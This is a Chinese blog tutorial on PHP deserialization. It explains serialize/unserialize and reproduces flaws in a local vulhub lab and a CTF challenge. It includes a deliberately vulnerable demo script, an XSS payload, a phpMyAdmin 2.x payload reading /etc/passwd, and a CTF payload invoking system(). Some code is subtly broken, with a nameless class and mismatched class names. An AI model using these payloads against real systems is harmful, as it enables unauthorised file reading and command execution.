zoukankan      html  css  js  c++  java
  • PHP反序列化漏洞复现

    一、原理

    PHP序列化与反序列化介绍

    1、什么是序列化与反序列化

    序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
    通俗的说,就是将数据转化成一种可逆的数据结构。
    反序列化(UnSerialization)将序列化的过程逆向就叫做反序列化。

    举例:
    现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市?这时候一般都会把它拆卸成板子,再装到箱子里面,然后就可以快递出去,这个过程就类似我们的序列化的过程(将数据对象的状态信息转化为可以存储或者传输的格式)。当买家收到货后,就需要自己把这些板子组装成桌子,这个过程就类似反序列的过程(转化成当初的数据对象)。

    2、序列化的目的
    方便数据的传输和存储。

    3、常见的序列化格式

    • 二进制格式
    • 字节数组
    • json字符串
    • xml字符串

    序列化与反序列化PHP代码介绍

    1、PHP serialize() 序列化函数
    定义介绍见链接:
    https://www.w3cschool.cn/php/php-serialize_info.html
    2、代码演示

    <?php
    class{public $target='my is string';}
    $a = serialize(new A);
    echo $a
    //O:1:"a":1:{s:6:"target";s:12:"my is string";}
    ?>
    

    • a(array):number;
      a代表数组,number代表数组个数

    • s(string):number:value;
      s代表字符串,number代表字符串长度,value代表字符串的值

    • i(int):number;
      i代表整型,number代表整数长度

    • O(object):number:name;
      O代表对象,name代表对象名称,number代表对象个数

    3、PHP unserialize() 反序列化函数
    定义介绍见链接:
    https://www.cnblogs.com/junyi-bk/p/11631685.html
    4、代码演示

    <?php
    //序列化
    class{public $target='my is string';}
    $a = serialize(new A);
    echo $a
    //O:1:"a":1:{s:6:"target";s:12:"my is string";}
    //反序列化
    $b = unserialize($a);
    //var_dump输出变量信息
    var_dump($b);
    ?>
    

    二、PHP反序列化demo复现

    1、服务器demo.php写入php代码,如下:

    <?php
    $a = $_GET['test'];
    $b = serialize($a);
    $c = unserialize($b);
    echo $c;
    ?>
    

    2、创建payload

    class a{public $target='<script>alert(1)</script>';}
    $a = serialize(new A);
    echo $a
    //O:1:"b":1:{s:6:"target";s:25:"<script>alert(1)</script>";}
    

    3、访问demo.php?test=O:1:"b":1:{s:6:"target";s:25:"";}

    三、WooYun-2016-199433漏洞复现

    漏洞描述

    phpmyadmin scripts/setup.php 页面存在反序列化漏洞,phpmyadmin 2.x版本中存在一处反序列化漏洞,攻击者可以读取任意文件。

    漏洞环境搭建

    1、进入vulhub-master的phpmyadmin/WooYun-2016-199433目录下
    2、docker启动环境

    dcoker-compose up -d
    

    漏洞复现

    1、浏览器访问http://192.168.2.147:8080/scripts/setup.php

    2、输入payload抓包漏洞复现,读取任意文件

    //payload
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
    

    四、[网鼎杯2020朱雀组]PHP反序列化

    1、抓包发现可以传递参数和函数

    2、可以用file_get_contents函数读取index.php网页源代码

    //读取flag的pyaload
    func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:26:"cat /tmp/flag_c6bf23b35ba2";}
    

    详情见参考链接:
    https://www.cnblogs.com/vege/p/12907941.html

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

    参考链接

    cnblogs-实战经验丨PHP反序列化漏洞总结
    cnblogs-php 序列化和反序列化的作用及使用

  • 相关阅读:
    mysql 修改字符集
    django 详细实例教程
    mysql 创建数据库
    Django 初始化数据库
    ERROR 1217 (23000): Cannot delete or update a parent row: a foreign key constraint fails
    2019 Multi-University Training Contest 1 D.Vacation(思维)
    2019牛客暑期多校训练营(第五场)E.independent set 1(状压dp)
    2019牛客暑期多校训练营(第三场)A.Graph Games (分块)
    2019牛客暑期多校训练营(第五场)I.three points 1(暴力几何)
    2019牛客暑期多校训练营(第五场)H.subsequence 2(拓扑)
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/12915884.html
Copyright © 2011-2022 走看看